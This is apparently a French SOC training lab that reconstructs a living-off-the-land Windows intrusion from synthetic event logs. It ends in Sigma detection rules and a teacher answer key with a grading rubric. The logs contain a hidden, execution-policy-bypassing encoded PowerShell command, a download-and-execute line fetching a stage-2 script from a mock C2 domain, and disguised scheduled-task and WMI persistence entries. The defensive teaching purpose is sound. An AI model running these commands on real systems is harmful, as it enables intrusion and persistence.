TP 4 - Ombre Légitime (Living off the Land Windows)

2h30 Acte 3 · Audit Avancé Purple · Windows · AD · Forensic-log

Position : Acte 3 (Audit & Purple Team) — module avancé. Analyse de log (pas de forensic disque/mémoire). Artefact fourni : data/_scenario/generated/06_windows_lotl.json (Windows Event Logs, JSONL).

---

1. Objectifs et contexte

📡 Poste SOC · La Réunion — Acte 3, Prouver : vous reconstituez le chaînon Windows de l’attaque. Poste avancé : Dumont d’Urville (Terre Adélie), ~6 000 km, SATCOM dégradée.

🎯 Objectif métier — comprendre comment un attaquant transforme un simple phishing en compromission totale de l’AD en n’utilisant que des outils légitimes (PowerShell, tâches planifiées, WMI) — et savoir le détecter dans les journaux.

Le concept : Living off the Land (LotL)

L’attaquant n’installe pas de malware « classique » : il abuse de binaires Windows légitimes (LOLBins : powershell.exe, schtasks.exe, wmic.exe). Résultat :

• Peu d’IOC fichier (pas de binaire malveillant à détecter par hash/signature).
• Détection difficile : il faut analyser les comportements dans les Event Logs (process tree, ligne de commande, parent-child).
• Évasion EDR : les EDR voient passer des process Microsoft signés → moins suspect que evil.exe.

C’est exactement ce qu’utilisent les groupes APT documentés (Volt Typhoon, APT29) pour s’infiltrer dans les infrastructures critiques.

🔴 Au fil de l’enquête

C’est le chaînon manquant de l’incident rejoué au jour J : entre le phishing reçu par julie.moreau (08h00) et l’accès aux échantillons classifiés (10h12). Cette phase fait passer l’attaquant de « un poste compromis » à « Domain Admin », ce qui débloque l’accès au coffre CLASSIFIED-VAULT-X. (L’attaquant collecte et prépare les données — mais l’exfiltration, elle, sera bloquée au pare-feu au temps 8 ; c’est ce que l’Acte 3 va prouver.)

Objectifs pédagogiques

• Lire des Windows Event Logs et les trier par event_id.
• Désobfusquer une commande PowerShell encodée (-enc Base64 / -EncodedCommand).
• Reconstituer la kill chain Windows (Execution → Persistence → Privilege Escalation → Lateral Movement).
• Mapper chaque événement à MITRE ATT&CK.
• Écrire des règles de détection Sigma (lien Acte 2 SIEM).

Architecture du TP

graph TB
 subgraph "Source forensic"
 LOGS[/06_windows_lotl.json<br/>Windows Event Logs/]
 end

 subgraph "Analyse"
 JQ[jq filtrage par event_id]
 B64[base64 -d / CyberChef]
 end

 subgraph "Kill chain reconstituée"
 EXE[Execution<br/>4688 + 4104]
 PER[Persistence<br/>4698]
 ESC[Privilege Escalation<br/>4672 + 4728]
 LAT[Lateral Movement<br/>4624 + 5861]
 end

 subgraph "Detection-as-Code"
 RULES[/Règles Sigma<br/>tp-detection-sigma/]
 ATT["Layer ATT&CK<br/>Navigator"]
 end

 LOGS --> JQ
 JQ --> EXE
 JQ --> PER
 JQ --> ESC
 JQ --> LAT
 EXE -->|payload base64| B64
 B64 --> RULES
 LAT --> RULES
 ESC --> RULES
 RULES --> ATT

 classDef src fill:#ffcc99,stroke:#333,stroke-width:2px
 classDef chain fill:#ffccff,stroke:#333,stroke-width:2px
 classDef out fill:#99ff99,stroke:#333,stroke-width:2px

 class LOGS src
 class EXE,PER,ESC,LAT chain
 class RULES,ATT out

---

2. Prérequis & données

Récupérer les logs

Sur la VM audit :

vagrant ssh audit

# Cloner le repo data si pas déjà fait
git clone https://gitlab.com/kds-formation/data.git ~/data || true
cd ~/data/_scenario/generated

ls -lh 06_windows_lotl.json
# → ~8 KB, 15 événements JSONL (un event par ligne + 1 ligne de bannière)

Vérifier les outils

which jq base64    # → /usr/bin/jq, /usr/bin/base64
jq --version       # → jq-1.6 ou plus

Structure d’un log Windows JSONL

# La première ligne du JSONL est un commentaire pédagogique, on saute :
sed -n '2p' 06_windows_lotl.json | jq .

Sortie attendue (extrait) :

{
  "time": "2024-12-15T08:14:31+04:00",
  "event_id": 4688,
  "channel": "Security",
  "computer": "TAAF-W-PAF07",
  "provider": "Microsoft-Windows-Security-Auditing",
  "subject_user": "julie.moreau",
  "message": "A new process has been created (PowerShell lance par la macro Excel du phishing).",
  "event_data": {
    "NewProcessName": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
    "ParentProcessName": "C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE",
    "CommandLine": "powershell.exe -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkA",
    "SubjectUserName": "julie.moreau",
    "Workstation": "TAAF-W-PAF07"
  },
  "mitre": ["T1059.001", "T1027", "T1204.002"]
}

Structure à retenir : les champs d’enveloppe (time, event_id, computer, subject_user) sont au premier niveau ; les champs spécifiques à l’événement (CommandLine, LogonType, TargetGroupName…) sont dans event_data. Les dates affichées sont celles de la fixture gold (2024-12-15) — le générateur les rejoue à la date du jour.

Volume du fixture

Le 06_windows_lotl.json est un fixture pédagogique ciselé (8 événements clés de la kill chain + quelques logons de bruit de fond). Le générateur taaf_log_generator produit la version réaliste avec du bruit de fond (centaines de 4624 légitimes, des dizaines de 4688 quotidiens) — c’est cette version qui sert pour l’exercice “détection-as-code” du module SIEM. Ici, en analyse forensic, on travaille sur la version réduite.

---

3. Étape 1 — Explorer les événements (R0)

3.1 — Vue d’ensemble par event_id

# On filtre la première ligne (commentaire) et on groupe
tail -n +2 06_windows_lotl.json | jq -s 'group_by(.event_id) | map({event_id: .[0].event_id, count: length}) | sort_by(.event_id)'

Sortie attendue (fixture pédagogique) :

[
  {"event_id": 4104, "count": 1},
  {"event_id": 4624, "count": 9},
  {"event_id": 4672, "count": 1},
  {"event_id": 4688, "count": 1},
  {"event_id": 4698, "count": 1},
  {"event_id": 4728, "count": 1},
  {"event_id": 5861, "count": 1}
]

→ 15 événements seulement — c’est volontaire. Le fixture concentre la kill chain (la plupart des 4624 sont des logons légitimes de bruit de fond). Sur les logs générés par taaf_log_generator (volumétrie réaliste), vous verriez plutôt 87 × 4624, 156 × 4688, etc.

3.2 — Glossaire des EventID rencontrés

EventID	Channel	Signification
4624	Security	Logon réussi (LogonType=2 interactif, 3 réseau, 10 RDP)
4672	Security	Privilèges spéciaux assignés à un nouveau logon (admin-like)
4688	Security	Création de processus (ligne de commande + parent process — si Audit Process Creation activé)
4698	Security	Tâche planifiée créée
4728	Security	Membre ajouté à un groupe global de sécurité (ex : Domain Admins)
4104	Microsoft-Windows-PowerShell/Operational	Script Block Logging — capture du contenu des scripts PS exécutés
5861	Microsoft-Windows-WMI-Activity/Operational	Souscription WMI permanente créée (persistance furtive)

3.3 — Frise chronologique brute

tail -n +2 06_windows_lotl.json | \
  jq -r '"\(.time) | \(.event_id) | \(.computer) | \(.subject_user // "-")"' | sort

Sortie attendue (extrait — la kill chain isolée du bruit de fond) :

...T08:14:31+04:00 | 4688 | TAAF-W-PAF07 | julie.moreau
...T08:14:33+04:00 | 4104 | TAAF-W-PAF07 | julie.moreau
...T08:20:05+04:00 | 4698 | TAAF-W-PAF07 | julie.moreau
...T09:45:00+04:00 | 4672 | TAAF-AD-PAF  | svc_backup
...T09:45:02+04:00 | 4728 | TAAF-AD-PAF  | julie.moreau
...T10:05:11+04:00 | 4624 | TAAF-FS-PAF  | svc_backup
...T10:05:12+04:00 | 5861 | TAAF-W-PAF07 | svc_backup

→ Vous avez déjà la vraie chronologie de l’attaque en 7 lignes — les autres 4624 (lucie.garnier, pierre.rousseau, antoine.mercier…) sont des logons interactifs légitimes, le bruit de fond de la base. Le reste du TP est l’interprétation de chacune de ces 7 lignes.

---

4. Étape 2 — Execution & désobfuscation (R1)

4.1 — Le 4688 d’entrée (08h14)

tail -n +2 06_windows_lotl.json | \
  jq 'select(.event_id == 4688 and (.event_data.NewProcessName | test("powershell.exe$")))'

Vous trouvez un process powershell.exe lancé avec :

ParentProcessName: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE
CommandLine:       powershell.exe -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkA

Lecture critique :

• Parent=EXCEL.EXE → le PowerShell a été lancé par Excel = signature classique d’une macro malveillante.
• -nop (-NoProfile) + -w hidden (-WindowStyle Hidden) + -ep bypass (-ExecutionPolicy Bypass) → discrétion et contournement de la politique d’exécution.
• -enc <base64> → la commande réelle est obfusquée.

4.2 — Désobfusquer le payload

echo "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkA" \
  | base64 -d \
  | iconv -f UTF-16LE -t UTF-8

Sortie attendue :

IEX (New-Object Net.WebClient)

Lecture :

• IEX = Invoke-Expression → exécute la chaîne récupérée.
• New-Object Net.WebClient → le début d’un téléchargement en mémoire. Le 4688 ne capture que la ligne de commande (ici tronquée par l’audit) : pour voir la commande complète après désobfuscation par PowerShell lui-même, il faut le 4104 — c’est l’objet de l’étape suivante.

Pourquoi -enc est encodé en UTF-16LE

PowerShell -EncodedCommand attend du Base64 d’une string UTF-16 Little-Endian. C’est pourquoi un base64 -d brut donne du texte avec des caractères nuls — il faut le passer en iconv -f UTF-16LE -t UTF-8 pour le lire.

4.3 — Confirmer avec le 4104 (Script Block Logging)

tail -n +2 06_windows_lotl.json | \
  jq 'select(.event_id == 4104) | {time: .time, script: .event_data.ScriptBlockText}'

Sortie attendue :

{
  "time": "...T08:14:33+04:00",
  "script": "IEX (New-Object Net.WebClient).DownloadString('http://cdn-meteo-sync.net/u/stage2.ps1')"
}

→ cdn-meteo-sync.net = le domaine de masquage du C2 (il résout vers 185.220.101.42) — cohérent avec le beaconing DNS que le SIEM verra au temps 9 de la kill chain.

→ Confirmation : le Script Block Logging a capturé le payload après désobfuscation par PowerShell. C’est exactement pourquoi cette feature est si précieuse.

📸 Capture obligatoire #1 : le JSON du 4688 (CommandLine + parent EXCEL) + le 4104 désobfusqué côte à côte.

---

5. Étape 3 — Persistence (R2)

5.1 — La tâche planifiée (08h20)

tail -n +2 06_windows_lotl.json | jq 'select(.event_id == 4698)'

Sortie attendue (extrait) :

{
  "time": "...T08:20:05+04:00",
  "event_id": 4698,
  "channel": "Security",
  "computer": "TAAF-W-PAF07",
  "subject_user": "julie.moreau",
  "event_data": {
    "TaskName": "\\Microsoft\\Windows\\SystemUpdateTask",
    "TaskContent": "powershell.exe -nop -w hidden -enc <stage2>",
    "Trigger": "AtLogon + Repetition PT30M",
    "SubjectUserName": "julie.moreau"
  }
}

Lecture :

• Nom \Microsoft\Windows\SystemUpdateTask = camouflage (rangée dans l’arborescence des tâches système, nom qui mime une tâche légitime).
• Trigger : AtLogon + répétition toutes les 30 min → l’attaquant survit au reboot et à la déconnexion de la victime.
• TaskContent : encore un -enc du même type → recharge le stage 2 en boucle.

📸 Capture obligatoire #2 : le 4698 avec le XML de la tâche.

5.2 — Pourquoi c’est un signal critique

Élément	Pourquoi suspect
schtasks lancé par un user simple (julie.moreau)	Les tâches planifiées légitimes sont créées par des admins ou des installers signés
Nom mimant une tâche système (SystemUpdateTask)	Camouflage
Arguments = PowerShell -enc	Obfuscation = pas de raison légitime

---

6. Étape 4 — Privilege Escalation (R3)

6.1 — L’ajout à Domain Admins (09h45)

tail -n +2 06_windows_lotl.json | jq 'select(.event_id == 4728)'

Sortie attendue :

{
  "time": "...T09:45:02+04:00",
  "event_id": 4728,
  "channel": "Security",
  "computer": "TAAF-AD-PAF",
  "subject_user": "julie.moreau",
  "event_data": {
    "TargetGroupName": "Domain Admins",
    "MemberName": "CN=svc_backup,CN=Users,DC=univ-taaf,DC=internal",
    "SubjectUserName": "julie.moreau",
    "SubjectDomainName": "UNIV-TAAF"
  }
}

Lecture critique :

• Subject = julie.moreau → celle qui exécute l’action (compte compromis).
• Member = svc_backup → celui qui est promu (compte de service).
• TargetGroup = Domain Admins → groupe ultra-privilégié.

→ Un compte utilisateur standard (julie.moreau) ajoute un compte de service à Domain Admins. Si l’AD était correctement durci, julie.moreau ne devrait pas avoir le droit de modifier ce groupe — c’est exactement la faiblesse AD que l’on auditera au TP PingCastle.

6.2 — Les privilèges du compte détourné (09h45)

tail -n +2 06_windows_lotl.json | \
  jq 'select(.event_id == 4672 and .subject_user == "svc_backup")'

→ Le logon de svc_backup lève un 4672 (Special Privileges Assigned) : SeBackupPrivilege, SeRestorePrivilege, SeDebugPrivilege… Un compte de service déjà privilégié — et désormais admin du domaine.

📸 Capture obligatoire #3 : le 4728 avec subject julie.moreau et member svc_backup → Domain Admins.

---

7. Étape 5 — Lateral Movement (R4)

7.1 — Le logon WMI réseau (10h05)

tail -n +2 06_windows_lotl.json | \
  jq 'select(.event_id == 4624 and .event_data.LogonType == 3 and .event_data.TargetUserName == "svc_backup")'

Sortie attendue :

{
  "time": "...T10:05:11+04:00",
  "event_id": 4624,
  "channel": "Security",
  "computer": "TAAF-FS-PAF",
  "subject_user": "svc_backup",
  "event_data": {
    "LogonType": 3,
    "TargetUserName": "svc_backup",
    "TargetDomainName": "UNIV-TAAF",
    "IpAddress": "10.60.30.77",
    "WorkstationName": "TAAF-W-PAF07",
    "LogonProcessName": "NtLmSsp",
    "ProcessName": "C:\\Windows\\System32\\wbem\\WmiPrvSE.exe"
  }
}

Lecture :

• LogonType=3 → logon réseau (pas interactif, pas RDP).
• ProcessName=WmiPrvSE.exe → le processus qui authentifie est le provider WMI = mouvement latéral par WMI.
• IpAddress=10.60.30.77 = TAAF-W-PAF07 (le poste de julie.moreau).
• Computer=TAAF-FS-PAF = le serveur de fichiers (le coffre CLASSIFIED-VAULT-X).

→ svc_backup (qui a maintenant les privilèges DA) se déplace de TAAF-W-PAF07 vers TAAF-FS-PAF via WMI. C’est l’étape juste avant le vol des données.

7.2 — La souscription WMI permanente (10h05)

tail -n +2 06_windows_lotl.json | jq 'select(.event_id == 5861)'

Sortie attendue :

{
  "time": "...T10:05:12+04:00",
  "event_id": 5861,
  "channel": "Microsoft-Windows-WMI-Activity/Operational",
  "computer": "TAAF-W-PAF07",
  "subject_user": "svc_backup",
  "event_data": {
    "Filter": "__EventFilter.Name=\"SysHealthFilter\"",
    "Consumer": "CommandLineEventConsumer.Name=\"SysHealth\"",
    "CommandLineTemplate": "powershell.exe -nop -w hidden -enc <beacon>",
    "Operation": "ESS subscription created"
  }
}

Lecture :

• L’attaquant inscrit un consumer WMI permanent (CommandLineEventConsumer au nom anodin SysHealth) depuis la session compromise sur TAAF-W-PAF07.
• Persistance furtive : pas de fichier, pas de tâche planifiée, pas de service. Juste une entrée dans le namespace WMI.

📸 Capture obligatoire #4 : le 5861 avec Filter + CommandLineTemplate visibles.

7.3 — Pourquoi WMI plutôt que PsExec ?

Méthode	Logs générés	Furtivité
PsExec	Service installé (7045) + processus à distance	🟡 Détectable (service inconnu)
WMI	Logon réseau (4624) + souscription si persistante (5861)	🟢 Plus furtif — pas de service, pas d’install
WinRM	4624 + canal winrm	🟡 Détectable si winrm pas attendu

→ WMI est l’outil par défaut des kill chains avancées : présent sur tous les Windows, signé Microsoft, légitime pour l’administration.

---

8. Étape 6 — Detection Engineering (R5)

Pont vers l’Acte 2

Reprenez votre repo taaf-detections du TP1 SIEM. Ajoutez les règles de détection Windows.

Règle #1 — PowerShell -enc lancé par Office (T1059.001 + T1204.002)

rules/execution/powershell-enc-from-office.yml :

title: PowerShell -enc Launched from Office Process
id: 5b6c7d8e-9f0a-1b2c-3d4e-5f6a7b8c9d0e
status: experimental
description: |
  Détecte un processus powershell.exe lancé avec -enc/-EncodedCommand
  dont le parent est un processus Office (EXCEL, WORD, OUTLOOK).
  Signature classique de macro malveillante.
references:
  - https://attack.mitre.org/techniques/T1059/001/
  - https://attack.mitre.org/techniques/T1204/002/
author: TAAF SOC
date: 2026/06/17
logsource:
  product: windows
  service: security
  category: process_creation
detection:
  selection_proc:
    EventID: 4688
    NewProcessName|endswith: '\powershell.exe'
  selection_cmd:
    CommandLine|contains:
      - '-enc '
      - '-EncodedCommand'
  selection_parent:
    ParentProcessName|endswith:
      - '\EXCEL.EXE'
      - '\WINWORD.EXE'
      - '\OUTLOOK.EXE'
      - '\POWERPNT.EXE'
  condition: selection_proc and selection_cmd and selection_parent
fields:
  - Computer
  - SubjectUserName
  - ParentProcessName
  - CommandLine
level: critical
tags:
  - attack.execution
  - attack.t1059.001
  - attack.initial_access
  - attack.t1204.002

Règle #2 — Ajout à Domain Admins par compte non-admin (T1098 + T1078.002)

rules/privilege_escalation/add-to-domain-admins.yml :

title: User Added to Domain Admins
id: 6c7d8e9f-0a1b-2c3d-4e5f-6a7b8c9d0e1f
status: stable
description: |
  Détecte l'ajout d'un utilisateur au groupe 'Domain Admins'.
  Pour la posture TAAF, ce groupe doit être quasiment immuable.
  Toute modification est un signal critique.
references:
  - https://attack.mitre.org/techniques/T1098/
  - https://attack.mitre.org/techniques/T1078/002/
author: TAAF SOC
date: 2026/06/17
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4728
    TargetGroupName: 'Domain Admins'
  condition: selection
fields:
  - SubjectUserName
  - MemberName
  - TargetGroupName
level: critical
tags:
  - attack.persistence
  - attack.t1098
  - attack.privilege_escalation
  - attack.t1078.002

Règle #3 — Souscription WMI permanente (T1546.003)

rules/persistence/wmi-event-subscription.yml :

title: WMI Permanent Event Subscription Created
id: 7d8e9f0a-1b2c-3d4e-5f6a-7b8c9d0e1f2a
status: stable
description: |
  Détecte la création d'une souscription WMI permanente avec un consumer
  qui exécute du code arbitraire (CommandLineEventConsumer / ActiveScriptEventConsumer).
  Technique de persistance furtive — quasiment jamais légitime.
references:
  - https://attack.mitre.org/techniques/T1546/003/
author: TAAF SOC
date: 2026/06/17
logsource:
  product: windows
  service: wmi
detection:
  selection:
    EventID: 5861
    Consumer|contains:
      - 'CommandLineEventConsumer'
      - 'ActiveScriptEventConsumer'
  condition: selection
fields:
  - Computer
  - Filter
  - Consumer
  - CommandLineTemplate
level: critical
tags:
  - attack.persistence
  - attack.t1546.003

Compiler vers LogQL

cd ~/taaf-detections
source ~/sigma-venv/bin/activate
./scripts/compile.sh

→ Vous avez maintenant 6 règles dans le repo (3 du TP1 SIEM + 3 du TP4 Audit). Vérifiez la couverture ATT&CK :

./scripts/build-layer.sh   # script du TP couverture (SIEM)

→ Vous devez voir T1078.002, T1213.002, T1041 (TP1 SIEM) + T1059.001, T1204.002, T1098, T1546.003 (TP4).

---

9. Mapping MITRE ATT&CK

Étape	EventID	Technique principale	Sous-technique
Initial Access	(mail, hors Windows)	T1566.001 Spearphishing Attachment	—
Execution	4688 (parent EXCEL)	T1204.002 Malicious File	—
Execution	4688 + 4104	T1059.001 PowerShell	T1027 Obfuscated Files
Persistence	4698	T1053.005 Scheduled Task	—
Privilege Escalation	4672 + 4728	T1098 Account Manipulation	T1078.002 Domain Accounts
Lateral Movement	4624 (LogonType=3)	T1021.002 SMB/Windows Admin Shares	T1047 WMI
Persistence (avancée)	5861	T1546.003 WMI Event Subscription	—

---

10. Livrables & validation

Livrables (à pousser sur GitLab)

1. Timeline reconstruite (markdown ou PDF) — table heure / EventID / action / technique ATT&CK.
2. Payload PowerShell désobfusqué + commande de décodage utilisée.
3. 3 règles de détection Sigma dans taaf-detections/rules/{execution,privilege_escalation,persistence}/.
4. Layer ATT&CK Navigator régénéré avec les 6+ techniques couvertes.
5. Paragraphe d’analyse (1 page) :
   • Pourquoi le LotL est-il difficile à détecter ?
   • Qu’est-ce qui l’a quand même trahi ici ? (= comportements + audit complet)
   • Quelle règle aurait coupé la chaîne le plus tôt ?

Grille de validation

Critère	Pondération
Timeline complète (7+ événements correctement situés)	20 %
Payload -enc décodé correctement (avec commande de décodage)	15 %
3 règles Sigma compilables (sigma convert exit 0)	25 %
Mapping ATT&CK affiné (sous-techniques)	15 %
Paragraphe d’analyse LotL (≥ ½ page argumentée)	15 %
Détection « coupe-tôt » identifiée et justifiée	10 %

Format de rendu : PDF nom-prenom-promo.pdf sur Moodle.

---

11. Annexe enseignant — corrigé

Réponses aux questions de validation

1. LOLBin = binaire légitime Windows abusé pour de l’attaque (LOL = Living off the Land). Exemples vus : powershell.exe, schtasks.exe (créé via 4698), WmiPrvSE.exe (mouvement latéral 4624 + 5861).

2. Payload désobfusqué : le -enc du 4688 décode en IEX (New-Object Net.WebClient) (tronqué par l’audit) ; le 4104 (Script Block Logging) capture la commande complète : IEX (New-Object Net.WebClient).DownloadString('http://cdn-meteo-sync.net/u/stage2.ps1') — téléchargement et exécution en mémoire du stage 2 depuis le domaine de masquage du C2 (résout vers 185.220.101.42).

3. 4728 critique : modification d’un groupe d’admins du domaine = élévation maximale. Subject = julie.moreau (compte utilisateur compromis) → faute architecturale AD : un user standard ne devrait pas pouvoir modifier Domain Admins.

4. Deux persistances distinctes : (a) tâche planifiée SystemUpdateTask (4698, trigger logon) ; (b) souscription WMI permanente (5861, CommandLineEventConsumer au LogonSession).

5. Lien audit AD : l’escalade svc_backup → Domain Admins initiée par julie.moreau n’aurait pas été possible si l’AD avait été correctement tiéré (tier 0 isolé). PingCastle attendu : « Active Directory Tier model not implemented », « Delegation on critical groups », score Privileged Accounts élevé.

6. Règle coupe-tôt : la règle #1 (PowerShell -enc launched from Office) attrape l’attaque à 08h14 — soit avant la persistance (08h20), l’escalade (09h45) et tout le reste. C’est l’investissement de détection le plus rentable.

7. WMI plus furtif que PsExec : pas de service installé (7045), pas de binaire déposé. Le process WmiPrvSE.exe est légitimement présent sur tout Windows pour l’administration → noise normal qui camoufle l’attaque. PsExec, lui, installe un service PSEXESVC immédiatement détectable.

Évaluation des erreurs courantes

• Décodage Base64 sans iconv UTF-16LE → texte avec caractères nuls illisibles. -5 %.
• Règle WMI sans CommandLineEventConsumer → faux positifs sur tous les souscriptions WMI légitimes (Defender, etc.). -10 %.
• Règle 4728 trop large (sans GroupName: Domain Admins) → trop de bruit. -5 %.
• Pas de mapping sous-techniques → -10 %.
• Confusion subject/target dans le 4728 → -5 % (montre que la lecture du log n’est pas maîtrisée).

Pont vers l’audit AD

L’élève sort de ce TP en sachant précisément quelle faiblesse AD a été exploitée. Au TP suivant (PingCastle), il prouvera cette faiblesse via un audit AD et proposera la remédiation (tiering, retrait DA pour les comptes de service, LAPS).

Pont vers le Purple Team

Toutes les règles écrites ici seront rejouées au TP Purple Team avec MITRE Caldera : si vos règles détectent bien, l’alerte tombe. Si non, vous documentez le gap.

---

Références

• MITRE ATT&CK — T1059.001 PowerShell
• MITRE ATT&CK — T1546.003 WMI Event Subscription
• Microsoft — Audit Process Creation (4688)
• Microsoft — Script Block Logging (4104)
• LOLBAS Project
• SigmaHQ — Windows rules